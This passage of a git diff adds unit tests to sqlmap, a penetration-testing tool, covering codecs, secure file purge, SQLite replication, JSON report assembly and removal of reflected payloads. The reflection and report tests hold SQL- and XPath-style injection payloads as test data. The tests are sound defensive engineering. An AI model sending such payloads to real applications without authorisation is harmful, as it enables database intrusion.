rng.choice(_TOKENS))) + return u", ".join(parts) + + +class TestCodecRoundTrips(unittest.TestCase): + def test_base64(self): + for_all(self, gen_blob, lambda b: decodeBase64(encodeBase64(b)) == b, label="base64") + + def test_hex(self): + for_all(self, gen_blob, lambda b: decodeHex(encodeHex(b)) == b, label="hex") + + def test_getbytes_gettext(self): + # unsafe=False -> plain UTF-8 (no \xNN escape interpretation), so it is a clean round-trip + for_all(self, gen_text, lambda s: getText(getBytes(s, unsafe=False)) == s, label="bytes-text") + + def test_json(self): + for_all(self, gen_json, lambda v: dejsonize(jsonize(v)) == v, label="json") + + def test_serialize(self): + for_all(self, gen_serializable, lambda v: deserializeValue(serializeValue(v)) == v, label="serialize") + + def test_html_escape(self): + for_all(self, gen_text, lambda s: htmlUnescape(htmlEscape(s)) == s, label="html") + + def test_cloak(self): + for_all(self, gen_blob, lambda b: decloak(data=cloak(data=b)) == b, label="cloak") + + +class TestStructureTransforms(unittest.TestCase): + def test_unarrayize_never_listlike(self): + # the whole point of unArrayizeValue is that the result is a scalar, never a list/tuple + # (gen_serializable includes sets - they used to crash here; see test_unarrayize_set regression) + for_all(self, gen_serializable, lambda v: not isListLike(unArrayizeValue(v)), label="unarrayize") + + def test_flatten_is_flat(self): + for_all(self, gen_serializable, lambda v: all(not isListLike(x) for x in flattenValue([v])), label="flatten") + + def test_unarrayize_set(self): + # regression: a 1-element set is list-like but not subscriptable; unArrayizeValue must + # de-arrayize it rather than crash on value[0] + self.assertEqual(unArrayizeValue(set(["x"])), "x") + self.assertEqual(unArrayizeValue(set()), None) + self.assertEqual(unArrayizeValue(["1"]), "1") # ordinary fast-path still works + + def test_prioritysort_is_permutation(self): + # sorting must not invent/drop columns, and must be idempotent + def prop(cols): + out = prioritySortColumns(cols) + return sorted(out) == sorted(cols) and prioritySortColumns(out) == out + for_all(self, gen_columns, prop, label="prioritysort") + + +class TestStringTransforms(unittest.TestCase): + def test_normalize_unicode_is_ascii(self): + for_all(self, gen_text, lambda s: all(ord(c) < 128 for c in normalizeUnicode(s)), label="normalize-ascii") + + def test_sanitizestr_strips_newlines(self): + for_all(self, gen_text, lambda s: "\n" not in sanitizeStr(s) and "\r" not in sanitizeStr(s), label="sanitizestr") + + def test_filterstringvalue_charset(self): + allowed = set("0123456789abcdef") + for_all(self, gen_text, lambda s: set(filterStringValue(s, r"[0-9a-f]")) <= allowed, label="filterstring") + + def test_escapejson_no_control_char(self): + # control chars and bare quotes must be escaped away (output is JSON-string-body safe re: those) + for_all(self, gen_text, lambda s: all(c >= " " for c in escapeJsonValue(s)), label="escapejson-invariant") + + def test_escapejson_json_roundtrip(self): + # escapeJsonValue(s) embedded in a JSON string must parse back to s - for ALL text, + # including backslash (the F1 fix; this used to fail on '\') + import json + for_all(self, gen_text, lambda s: json.loads(u'"%s"' % escapeJsonValue(s)) == s, label="escapejson-roundtrip") + + def test_escapejson_backslash(self): + # regression for F1: backslash is now escaped, so the round-trip holds + import json + self.assertEqual(json.loads(u'"%s"' % escapeJsonValue(u"a\\b")), u"a\\b") + + def test_getords_length(self): + for_all(self, gen_text, lambda s: len(getOrds(s)) == len(s) and all(isinstance(o, int) for o in getOrds(s)), label="getords") + + def test_consolelength_ascii(self): + for_all(self, gen_ascii, lambda s: getConsoleLength(s) == len(s), label="consolelength") + + +class TestRandomHelpers(unittest.TestCase): + def test_randomstr_length_and_alphabet(self): + for_all(self, lambda r: r.randint(0, 16), + lambda n: len(randomStr(n)) == n and set(randomStr(n)) <= set(string.ascii_letters), label="randomstr") + + def test_randomstr_lowercase(self): + for_all(self, lambda r: r.randint(0, 16), + lambda n: set(randomStr(n, lowercase=True)) <= set(string.ascii_lowercase), label="randomstr-lower") + + def test_randomint_digits(self): + for_all(self, lambda r: r.randint(1, 8), lambda n: len(str(randomInt(n))) == n, label="randomint") + + def test_randomrange_bounds(self): + def prop(_): + a = _[0] + b = _[0] + _[1] + return a <= randomRange(a, b) <= b + for_all(self, lambda r: (r.randint(-50, 50), r.randint(0, 100)), prop, label="randomrange") + + +class TestSplitterInvariants(unittest.TestCase): + def test_reconstruction(self): + # Faithful partition: rejoining the 0-depth split reconstructs the input modulo the only + # transform splitFields applies - dropping a single space after an unquoted delimiter. So + # nothing other than spaces may be lost/added/reordered. (Space-insensitive so it survives + # the quote-aware normalization: spaces inside 'literals' are kept, comma-trailing ones are + # not; either way no non-space content changes.) + for_all(self, gen_text, lambda s: u",".join(splitFields(s)).replace(u" ", u"") == s.replace(u" ", u""), label="split-reconstruct-text") + for_all(self, gen_sql_fields, lambda s: u",".join(splitFields(s)).replace(u" ", u"") == s.replace(u" ", u""), label="split-reconstruct-sql") + + def test_quoted_literal_spaces_preserved(self): + # the I3 contract: a ", " inside a quoted literal must NOT be collapsed (the whole literal + # survives intact as a single field) + for_all(self, lambda r: u"%s, '%s, %s', %s" % (r.choice([u"a", u"id"]), r.choice([u"x", u"p q"]), r.choice([u"y", u"z"]), r.choice([u"b", u"c"])), + lambda s: u"'%s'" % s.split(u"'")[1] in splitFields(s), label="split-quote-preserve") + + def test_never_cuts_inside_parens(self): + # on well-formed input no field may carry unbalanced parens (i.e. a split never lands inside a group) + for_all(self, gen_sql_fields, lambda s: all(f.count(u"(") == f.count(u")") for f in splitFields(s)), label="split-balanced") + + def test_zerodepth_indices_are_real_commas(self): + def prop(s): + idx = zeroDepthSearch(s, ",") + return all(s[i] == u"," for i in idx) and idx == sorted(idx) and len(set(idx)) == len(idx) + for_all(self, gen_text, prop, label="zerodepth-commas-text") + for_all(self, gen_sql_fields, prop, label="zerodepth-commas-sql") + + +class TestIdentifierRoundTrip(unittest.TestCase): + def setUp(self): + self._saved = kb.get("forcedDbms") + set_dbms("MySQL") # identifier quoting is DBMS-specific; pin a case-preserving back-end + + def tearDown(self): + kb.forcedDbms = self._saved + + def test_safe_unsafe_roundtrip(self): + for_all(self, gen_ident, lambda n: unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming(n)) == n, label="identifier") + + +class TestRobustness(unittest.TestCase): + # total functions: must never raise on arbitrary text (return value unconstrained) + def test_urlencode_urldecode(self): + for_all(self, gen_text, lambda s: (urlencode(s), urldecode(s)) and True, label="urlcodec") + + def test_safecharencode(self): + for_all(self, gen_text, lambda s: safecharencode(s) is not None or s == u"", label="safecharencode") + + def test_stdoutencode(self): + for_all(self, gen_text, lambda s: stdoutEncode(s) is not None or s == u"", label="stdoutencode") + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_purge.py b/tests/test_purge.py new file mode 100644 index 00000000000..c532d7b73cf --- /dev/null +++ b/tests/test_purge.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Secure directory purge (lib/utils/purge.py, the --purge feature): multi-pass +overwrite + truncation + removal of a directory's content. Driven against a +throwaway temp tree so the real output dir is never touched. +""" + +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.purge as purge_mod +from lib.utils.purge import purge + + +class _RecordingLogger(object): + """Captures every (level, message) emitted while installed as purge.logger.""" + + def __init__(self): + self.records = [] + + def _add(self, level): + return lambda msg, *a: self.records.append((level, msg % a if a else msg)) + + def __getattr__(self, name): + if name in ("warning", "info", "debug", "error", "critical"): + return self._add(name) + raise AttributeError(name) + + def messages(self, level=None): + return [m for (lvl, m) in self.records if level is None or lvl == level] + + +class TestPurge(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="sqlmap_purge_") + + def tearDown(self): + shutil.rmtree(self.tmp, ignore_errors=True) + + def test_overwrites_and_truncates_file_contents(self): + # a couple of files + a nested subdir with a (non-empty) file + plaintexts = { + os.path.join(self.tmp, "a.txt"): "secret data", + os.path.join(self.tmp, "sub", "b.txt"): "more secret data", + } + with open(os.path.join(self.tmp, "a.txt"), "w") as f: + f.write(plaintexts[os.path.join(self.tmp, "a.txt")]) + with open(os.path.join(self.tmp, "empty.bin"), "w") as f: + pass + os.mkdir(os.path.join(self.tmp, "sub")) + with open(os.path.join(self.tmp, "sub", "b.txt"), "w") as f: + f.write(plaintexts[os.path.join(self.tmp, "sub", "b.txt")]) + + # neutralise the final rmtree so the overwrite/truncate work product remains + # observable on disk; the files are renamed, so locate them by walking the tree. + real_rmtree = purge_mod.shutil.rmtree + purge_mod.shutil.rmtree = lambda *a, **k: None + try: + purge(self.tmp) + finally: + purge_mod.shutil.rmtree = real_rmtree + + # collect every surviving regular file (names are randomised by purge) + survivors = [] + for root, _dirs, files in os.walk(self.tmp): + for name in files: + survivors.append(os.path.join(root, name)) + + # the originally non-empty files still exist (rmtree was a no-op) but the + # multi-pass overwrite + truncation reduced each to size 0 and the original + # plaintext is gone. + nonempty = [p for p in survivors if os.path.getsize(p) > 0] + self.assertEqual(nonempty, [], msg="files were not truncated to zero: %r" % nonempty) + + blob = b"" + for p in survivors: + with open(p, "rb") as fh: + blob += fh.read() + for secret in plaintexts.values(): + self.assertNotIn(secret.encode("utf-8"), blob, + msg="original plaintext %r survived the purge" % secret) + + def test_purges_nested_content(self): + # full purge (including rmtree) wipes the whole tree + with open(os.path.join(self.tmp, "a.txt"), "w") as f: + f.write("secret data") + sub = os.path.join(self.tmp, "sub") + os.mkdir(sub) + with open(os.path.join(sub, "b.txt"), "w") as f: + f.write("more secret data") + + purge(self.tmp) + + self.assertFalse(os.path.exists(self.tmp)) + + def test_nonexistent_directory_is_noop(self): + missing = os.path.join(self.tmp, "does_not_exist") + + real_logger = purge_mod.logger + rec = _RecordingLogger() + purge_mod.logger = rec + try: + # must not raise; the guard branch logs a skip warning and returns + purge(missing) + finally: + purge_mod.logger = real_logger + + self.assertFalse(os.path.exists(missing)) + self.assertTrue( + any("skipping purging" in w and "does not exist" in w for w in rec.messages("warning")), + msg="nonexistent-directory guard did not log its warning: %r" % rec.records, + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_reflection.py b/tests/test_reflection.py new file mode 100644 index 00000000000..28c741d397e --- /dev/null +++ b/tests/test_reflection.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Adversarial coverage for reflection removal. + +Two independent mechanisms exist and the non-SQL engines rely on BOTH: + + lib.core.common.removeReflectiveValues - the scan-wide heuristic. Powerful (it reassembles a payload + that the page broke apart) but it has global state and + SWITCHES ITSELF OFF: after REFLECTIVE_MISS_THRESHOLD misses, + after a regex timeout, and during heuristic mode. + lib.utils.nonsql.stripReflection - a plain deterministic removal with no global state, added + precisely because a detection guard must not stop guarding + halfway through a scan. + +The tests below pin the behaviour of each, and - more importantly - pin the blind spots of the first one, +so nobody builds another guard on it without knowing where it does nothing. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import removeReflectiveValues +from lib.core.data import kb +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.settings import REFLECTIVE_MISS_THRESHOLD +from lib.utils.nonsql import stripReflection + +PAYLOAD = u"x') or true() or ('" + + +def _reset(): + kb.reflectiveMechanism = True + kb.heuristicMode = False + kb.reflectiveCounters = {"HIT": 0, "MISS": 0} + + +def _removed(content, payload): + out = removeReflectiveValues(content, payload, suppressWarning=True) + return out != content and REFLECTED_VALUE_MARKER in (out or "") + + +class RemoveReflectiveValuesTest(unittest.TestCase): + def setUp(self): + _reset() + + def test_plain_reflection_is_removed(self): + self.assertTrue(_removed(u"you searched for: %s" % PAYLOAD, PAYLOAD)) + + def test_reflection_survives_case_change(self): + self.assertTrue(_removed(u"YOU SEARCHED FOR: %s" % PAYLOAD.upper(), PAYLOAD)) + + def test_reflection_split_by_markup_is_removed(self): + """The heuristic's real strength: it reassembles a payload the page broke apart.""" + self.assertTrue(_removed(u"search: x') or true() or ('", PAYLOAD)) + + def test_html_encoded_reflection_is_removed(self): + self.assertTrue(_removed(u"you searched for: x') or true() or ('", PAYLOAD)) + + def test_absent_payload_leaves_content_untouched(self): + content = u"nothing to see here" + self.assertEqual(removeReflectiveValues(content, PAYLOAD, suppressWarning=True), content) + + def test_empty_inputs_are_safe(self): + self.assertEqual(removeReflectiveValues(None, PAYLOAD), None) + self.assertEqual(removeReflectiveValues(u"abc", None), u"abc") + self.assertEqual(removeReflectiveValues(u"", u""), u"") + + def test_word_only_payload_cannot_explode_the_page(self): + """A payload of pure word characters yields an empty needle; replacing on it would insert the + marker between every character.""" + out = removeReflectiveValues(u"aaa bbb aaa", u"aaa", suppressWarning=True) + self.assertNotIn("%s%s" % (REFLECTED_VALUE_MARKER, REFLECTED_VALUE_MARKER), out or "") + + +class RemoveReflectiveValuesBlindSpotTest(unittest.TestCase): + """These document where the scan-wide heuristic does NOTHING. They are the reason a second, + deterministic guard exists - not bugs to be 'fixed' here.""" + + def setUp(self): + _reset() + + def test_blind_spot_purely_alphanumeric_payload(self): + """filterStringValue() leaves such a payload unchanged, so the whole routine short-circuits.""" + self.assertFalse(_removed(u"you searched for: abcdefghij", u"abcdefghij")) + + def test_blind_spot_bytes_content(self): + """It requires text. A byte string is returned untouched - identical behaviour on py2 and py3, + and the reason every caller must hand it a decoded page.""" + self.assertFalse(_removed(b"you searched for: x", u"x")) + + def test_blind_spot_disabled_mechanism(self): + """It disables itself on a regex timeout and after REFLECTIVE_MISS_THRESHOLD misses.""" + kb.reflectiveMechanism = False + self.assertFalse(_removed(u"you searched for: %s" % PAYLOAD, PAYLOAD)) + + def test_blind_spot_heuristic_mode(self): + kb.heuristicMode = True + self.assertFalse(_removed("you searched for: %s" % PAYLOAD, PAYLOAD)) + + def test_miss_threshold_is_finite(self): + """A guard built only on this stops guarding after this many non-reflective responses.""" + self.assertTrue(0 < REFLECTIVE_MISS_THRESHOLD < 1000) + + +class StripReflectionTest(unittest.TestCase): + """The deterministic guard: no global state, no timeout, no self-disabling.""" + + def setUp(self): + _reset() + + def test_removes_the_payload(self): + out = stripReflection(u"you searched for: %s" % PAYLOAD, PAYLOAD) + self.assertNotIn(PAYLOAD, out) + self.assertIn(REFLECTED_VALUE_MARKER, out) + + def test_removes_the_url_encoded_form(self): + out = stripReflection(u"you searched for: x%27%29%20or%20true%28%29", u"x') or true()") + self.assertIn(REFLECTED_VALUE_MARKER, out) + + def test_two_different_payloads_collapse_to_the_same_page(self): + """This is the whole point: a pure echo endpoint must stop looking like a boolean oracle.""" + true_page = stripReflection(u"you searched for: x') or true() or ('", u"x') or true() or ('") + false_page = stripReflection(u"you searched for: x') and false() and ('", u"x') and false() and ('") + self.assertEqual(true_page, false_page) + + def test_a_real_differential_is_preserved(self): + """A genuine oracle differs in the APPLICATION's output, not in the echoed payload, so stripping + must not erase it.""" + true_page = stripReflection(u"results: luther, fluffy, wu [%s]" % PAYLOAD, PAYLOAD) + false_page = stripReflection(u"results: none [%s]" % PAYLOAD, PAYLOAD) + self.assertNotEqual(true_page, false_page) + + def test_does_not_depend_on_global_state(self): + kb.reflectiveMechanism = False + kb.heuristicMode = True + kb.reflectiveCounters = {"HIT": 0, "MISS": REFLECTIVE_MISS_THRESHOLD * 10} + self.assertIn(REFLECTED_VALUE_MARKER, stripReflection(u"echo: %s" % PAYLOAD, PAYLOAD)) + + def test_covers_the_alphanumeric_blind_spot(self): + self.assertIn(REFLECTED_VALUE_MARKER, stripReflection(u"you searched for: abcdefghij", u"abcdefghij")) + + def test_empty_and_missing_inputs_are_safe(self): + self.assertEqual(stripReflection(None, PAYLOAD), None) + self.assertEqual(stripReflection(u"abc", None), u"abc") + self.assertEqual(stripReflection(u"abc", u""), u"abc") + self.assertEqual(stripReflection(u"", PAYLOAD), u"") + + def test_absent_payload_leaves_content_identical(self): + content = u"nothing to see here" + self.assertEqual(stripReflection(content, PAYLOAD), content) + + def test_every_occurrence_is_removed(self): + out = stripReflection(u"%s middle %s" % (PAYLOAD, PAYLOAD), PAYLOAD) + self.assertNotIn(PAYLOAD, out) + self.assertEqual(out.count(REFLECTED_VALUE_MARKER), 2) + + +class EnginesUseBothGuardsTest(unittest.TestCase): + """Pins the wiring. A guard that only one engine applies is how this class of false positive spread + across three shipped engines unnoticed.""" + + def _source(self, *parts): + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", *parts)) as f: + return f.read() + + def test_reflective_engines_apply_both(self): + for engine in ("xpath", "ldap", "nosql"): + source = self._source("lib", "techniques", engine, "inject.py") + self.assertIn("removeReflectiveValues", source, engine) + self.assertIn("stripReflection", source, engine) + + def test_xslt_proves_evaluation_instead(self): + """--xslt needs no reflection filter: its sentinel only exists once concat() has run, so an echo + can never satisfy it. That is the stronger design.""" + source = self._source("lib", "techniques", "xslt", "inject.py") + self.assertIn("def _captured", source) + self.assertIn("reflected verbatim", source) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_replication.py b/tests/test_replication.py new file mode 100644 index 00000000000..7e5d8a0c594 --- /dev/null +++ b/tests/test_replication.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +SQLite replication writer (lib/core/replication.py). + +This is what backs `--dump ... --dump-format SQLITE` / replication: it mirrors +dumped tables into a local SQLite file. Tested end-to-end against a real temp +database (create table, typed columns, insert, select, persistence) and read +back independently with the stdlib sqlite3 driver. +""" + +import os +import sqlite3 +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.replication import Replication +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapValueException + + +class _ReplCase(unittest.TestCase): + def setUp(self): + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) + self.rep = Replication(self.path) + + def tearDown(self): + try: + del self.rep + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + + def _readback(self, sql): + conn = sqlite3.connect(self.path) + try: + return conn.execute(sql).fetchall() + finally: + conn.close() + + +class TestCreateInsertSelect(_ReplCase): + def test_roundtrip(self): + t = self.rep.createTable("users", [("id", self.rep.INTEGER), ("name", self.rep.TEXT)]) + t.insert([1, "admin"]) + t.insert([2, "guest"]) + self.assertEqual(t.select(), [(1, "admin"), (2, "guest")]) + + def test_persisted_to_disk(self): + t = self.rep.createTable("t", [("id", self.rep.INTEGER), ("v", self.rep.TEXT)]) + t.insert([10, "x"]) + # autocommit (isolation_level=None) => visible to an independent connection + self.assertEqual(self._readback("SELECT id, v FROM t"), [(10, "x")]) + + def test_real_and_blob_types(self): + t = self.rep.createTable("mix", [("r", self.rep.REAL), ("b", self.rep.BLOB)]) + t.insert([3.5, b"\x00\x01"]) + self.assertEqual(self._readback("SELECT r FROM mix")[0][0], 3.5) # REAL preserved exactly + # BLOB containing a NUL byte must survive intact (a naive str path would truncate at \x00). + # It comes back as a 2-element value (text on py3); assert the NUL didn't truncate it. + blob = self._readback("SELECT b FROM mix")[0][0] + self.assertEqual(len(blob), 2, msg="blob truncated/altered: %r" % (blob,)) + + def test_null_and_empty_values(self): + t = self.rep.createTable("n", [("id", self.rep.INTEGER), ("v", self.rep.TEXT)]) + t.insert([None, ""]) + self.assertEqual(self._readback("SELECT id, v FROM n"), [(None, "")]) + + def test_create_replaces_existing(self): + t1 = self.rep.createTable("dup", [("id", self.rep.INTEGER)]) + t1.insert([1]) + # createTable drops-if-exists, so the table is fresh + t2 = self.rep.createTable("dup", [("id", self.rep.INTEGER)]) + self.assertEqual(t2.select(), []) + + +class TestInsertColumnMismatch(_ReplCase): + def test_wrong_column_count_raises(self): + t = self.rep.createTable("c", [("a", self.rep.INTEGER), ("b", self.rep.TEXT)]) + # too few / too many values must be rejected (not silently mis-inserted) + self.assertRaises(SqlmapValueException, t.insert, [1]) + self.assertRaises(SqlmapValueException, t.insert, [1, "x", "extra"]) + # the matching count still works + t.insert([1, "x"]) + self.assertEqual(t.select(), [(1, "x")]) + + +class TestInitFailure(unittest.TestCase): + """A failed open (e.g. unwritable path) must raise cleanly and the partially + constructed object must be safe to finalize (no AttributeError in __del__).""" + + def _bad_path(self): + # a database file inside a directory that does not exist => connect fails + return os.path.join(tempfile.gettempdir(), "sqlmap_no_such_dir_%d" % os.getpid(), "x.sqlite") + + def test_bad_path_raises(self): + self.assertRaises(SqlmapConnectionException, Replication, self._bad_path()) + + def test_del_safe_after_failed_init(self): + obj = Replication.__new__(Replication) + self.assertRaises(SqlmapConnectionException, obj.__init__, self._bad_path()) + # connection/cursor must be initialized even when connect() fails ... + self.assertIsNone(obj.connection) + self.assertIsNone(obj.cursor) + # ... so finalization is a no-op rather than raising + obj.__del__() + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_report.py b/tests/test_report.py new file mode 100644 index 00000000000..9b2ab3ee9fb --- /dev/null +++ b/tests/test_report.py @@ -0,0 +1,330 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +JSON scan report collector/assembler (lib/utils/api.py), shared by the REST API +endpoint /scan//data and the CLI --report-json writer. + +The whole point of the feature is that both produce the SAME structure, so these +tests pin the shared contract: the per-content_type merge (partial -> complete), +the assembled {success, data:[{status,type,type_name,value}], error} shape, the +partRun fallback for untyped output, and the meta-wrapped file written to disk. +A regression here is a divergence between the API and the report - the exact bug +this design exists to prevent. +""" + +import io +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api as api +from lib.core.data import conf, kb +from lib.core.enums import CONTENT_TYPE, CONTENT_STATUS + + +class _CollectorCase(unittest.TestCase): + def setUp(self): + self.c = api.setupReportCollector() + self._saved_partRun = kb.get("partRun") + + def tearDown(self): + kb.partRun = self._saved_partRun + # setupReportCollector() attaches a ReportErrorRecorder to the GLOBAL logger; drop it so it does + # not leak a handler bound to a now-closed collector into later tests + from lib.core.data import logger + for handler in list(logger.handlers): + if isinstance(handler, api.ReportErrorRecorder): + logger.removeHandler(handler) + try: + self.c.disconnect() + except Exception: + pass + + def _store(self, value, content_type, status=CONTENT_STATUS.COMPLETE): + api._storeData(self.c, api.REPORT_TASKID, value, status, content_type) + + +class TestAssembledShape(_CollectorCase): + def test_structure_and_typename(self): + self._store("MySQL >= 5.0.12", CONTENT_TYPE.DBMS_FINGERPRINT) + result = api._assembleData(self.c, api.REPORT_TASKID) + self.assertEqual(result["success"], True) + self.assertEqual(result["error"], []) + self.assertEqual(len(result["data"]), 1) + entry = result["data"][0] + self.assertEqual(sorted(entry.keys()), ["status", "type", "type_name", "value"]) + self.assertEqual(entry["type"], CONTENT_TYPE.DBMS_FINGERPRINT) + self.assertEqual(entry["type_name"], "DBMS_FINGERPRINT") # int -> readable name + self.assertEqual(entry["value"], "MySQL >= 5.0.12") + + def test_structured_values_preserved(self): + # dict / list / bool must survive as native JSON types (not stringified) - this is what + # makes the report machine-consumable, exactly like the API + self._store({"url": "http://h/?id=1", "data": None}, CONTENT_TYPE.TARGET) + self._store(["a", "b", "c"], CONTENT_TYPE.DBS) + self._store(True, CONTENT_TYPE.IS_DBA) + by_type = {d["type"]: d["value"] for d in api._assembleData(self.c, api.REPORT_TASKID)["data"]} + self.assertEqual(by_type[CONTENT_TYPE.TARGET], {"url": "http://h/?id=1", "data": None}) + self.assertEqual(by_type[CONTENT_TYPE.DBS], ["a", "b", "c"]) + self.assertIs(by_type[CONTENT_TYPE.IS_DBA], True) + + +class TestMergeSemantics(_CollectorCase): + def test_complete_replaces_partials(self): + # the API appends IN_PROGRESS chunks then a COMPLETE replaces them; final value is COMPLETE + self._store("roo", CONTENT_TYPE.CURRENT_USER, CONTENT_STATUS.IN_PROGRESS) + self._store("t@localhost", CONTENT_TYPE.CURRENT_USER, CONTENT_STATUS.COMPLETE) + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(len(data), 1) # one row, not two + self.assertEqual(data[0]["value"], "t@localhost") + self.assertEqual(data[0]["status"], CONTENT_STATUS.COMPLETE) + + def test_inprogress_chunks_accumulate(self): + self._store("foo", CONTENT_TYPE.BANNER, CONTENT_STATUS.IN_PROGRESS) + self._store("bar", CONTENT_TYPE.BANNER, CONTENT_STATUS.IN_PROGRESS) + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(data[0]["value"], "foobar") # appended + + +class TestPartRunFallback(_CollectorCase): + def test_untyped_output_tagged_via_partrun(self): + # untyped output during a part-run (e.g. the fingerprint line) is tagged by kb.partRun - + # this is how DBMS_FINGERPRINT is captured with no explicit content_type + kb.partRun = "getFingerprint" + self._store("back-end DBMS: MySQL >= 5.1", None) # content_type=None + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(len(data), 1) + self.assertEqual(data[0]["type"], CONTENT_TYPE.DBMS_FINGERPRINT) + self.assertEqual(data[0]["value"], "back-end DBMS: MySQL >= 5.1") + + def test_untyped_output_without_partrun_is_ignored(self): + kb.partRun = None + self._store("just a log line", None) + self.assertEqual(api._assembleData(self.c, api.REPORT_TASKID)["data"], []) + + +class TestSanitize(unittest.TestCase): + """The shared assembler strips internal plumbing (matchRatio/trueCode/falseCode/templatePayload/ + where/conf) from TECHNIQUES and restructures DUMP_TABLE (drop __infos__ wrapper + per-column + 'length'), so neither the API nor the report leaks consumer-irrelevant internals. Deterministic + (no run variance), unlike the live API-vs-report comparison.""" + + def test_techniques_internals_stripped_and_named(self): + injection = { + "place": "GET", "parameter": "id", "ptype": 1, "dbms": "MySQL", + "conf": {"string": "x", "regexp": None}, # internal -> must be dropped + "data": {"1": {"title": "boolean", "payload": "id=1 AND 1=1", "vector": "AND [INFERENCE]", + "comment": "", "where": 1, "matchRatio": 0.74, "trueCode": 200, + "falseCode": 200, "templatePayload": None}, + "6": {"title": "union", "payload": "id=1 UNION ...", "vector": "...", "comment": ""}}, + } + injection["ptype"] = 1 + injection["clause"] = [1, 8, 9] + injection["prefix"] = "" + injection["suffix"] = "" + original = json.loads(json.dumps(injection)) # deep copy to prove no mutation + out = api._sanitizeScanData(CONTENT_TYPE.TECHNIQUES, [injection])[0] + # detection/construction internals dropped + for field in ("conf", "ptype", "clause", "prefix", "suffix"): + self.assertNotIn(field, out) + # data is now an ordered LIST (not a map keyed by opaque ids), each entry named + self.assertIsInstance(out["data"], list) + self.assertEqual([t["technique"] for t in out["data"]], ["boolean-based blind", "UNION query"]) + first = out["data"][0] + self.assertEqual(sorted(first.keys()), ["comment", "payload", "technique", "title", "vector"]) + self.assertEqual(first["payload"], "id=1 AND 1=1") # consumer-relevant fields preserved + self.assertEqual(out["dbms"], "MySQL") + # input not mutated (operates on a copy - must not corrupt live kb.injections) + self.assertEqual(injection, original) + + def test_dump_table_restructured_and_unquoted(self): + value = { + "__infos__": {"db": "`master`", "table": "users", "count": 3}, + "id": {"length": 2, "values": ["1", "2", "3"]}, + "`name`": {"length": 9, "values": ["alice", " ", ""]}, # backtick id; " " is a DB NULL, "" is empty + } + out = api._sanitizeScanData(CONTENT_TYPE.DUMP_TABLE, value) + self.assertEqual(sorted(out.keys()), ["columns", "count", "db", "table"]) + self.assertNotIn("__infos__", out) + self.assertEqual(out["db"], "master") # quoting stripped (context-free) + self.assertEqual(out["table"], "users") + self.assertEqual(out["count"], 3) + # columns flattened to value lists (no 'length'), identifiers unquoted + self.assertEqual(out["columns"]["id"], ["1", "2", "3"]) + self.assertNotIn("`name`", out["columns"]) + # DB NULL (" ") -> JSON null; genuine empty string ("") preserved + self.assertEqual(out["columns"]["name"], ["alice", None, ""]) + + def test_schema_listing_identifiers_cleaned(self): + # TABLES/COLUMNS/SCHEMA/COUNT must have their identifiers unquoted too (consistency with + # DUMP_TABLE) - a regression here is the exact "X cleaned but Y not" inconsistency to avoid + tables = api._sanitizeScanData(CONTENT_TYPE.TABLES, {"`master`": ["users", "`order`"]}) + self.assertEqual(tables, {"master": ["users", "order"]}) + columns = api._sanitizeScanData(CONTENT_TYPE.COLUMNS, + {"`master`": {"users": {"id": "int", "`name`": "varchar(500)"}}}) + self.assertEqual(columns, {"master": {"users": {"id": "int", "name": "varchar(500)"}}}) + schema = api._sanitizeScanData(CONTENT_TYPE.SCHEMA, {"sys": {"w": {"`events`": "varchar(128)"}}}) + self.assertEqual(schema, {"sys": {"w": {"events": "varchar(128)"}}}) + count = api._sanitizeScanData(CONTENT_TYPE.COUNT, {"`master`": {"5": ["users"]}}) + self.assertEqual(count, {"master": {"5": ["users"]}}) + + def test_identifier_unquoting_is_context_free(self): + # all DBMS quote styles handled without Backend context (so CLI and API server agree) + self.assertEqual(api._cleanIdentifier("`tbl`"), "tbl") # MySQL + self.assertEqual(api._cleanIdentifier('"tbl"'), "tbl") # PostgreSQL/Oracle + self.assertEqual(api._cleanIdentifier("[tbl]"), "tbl") # MSSQL + self.assertEqual(api._cleanIdentifier("plain"), "plain") + + def test_other_types_pass_through(self): + # non-TECHNIQUES/DUMP_TABLE values are returned unchanged + self.assertEqual(api._sanitizeScanData(CONTENT_TYPE.CURRENT_USER, "root@%"), "root@%") + self.assertEqual(api._sanitizeScanData(CONTENT_TYPE.DBS, ["a", "b"]), ["a", "b"]) + self.assertIs(api._sanitizeScanData(CONTENT_TYPE.IS_DBA, True), True) + + +class TestErrors(_CollectorCase): + def 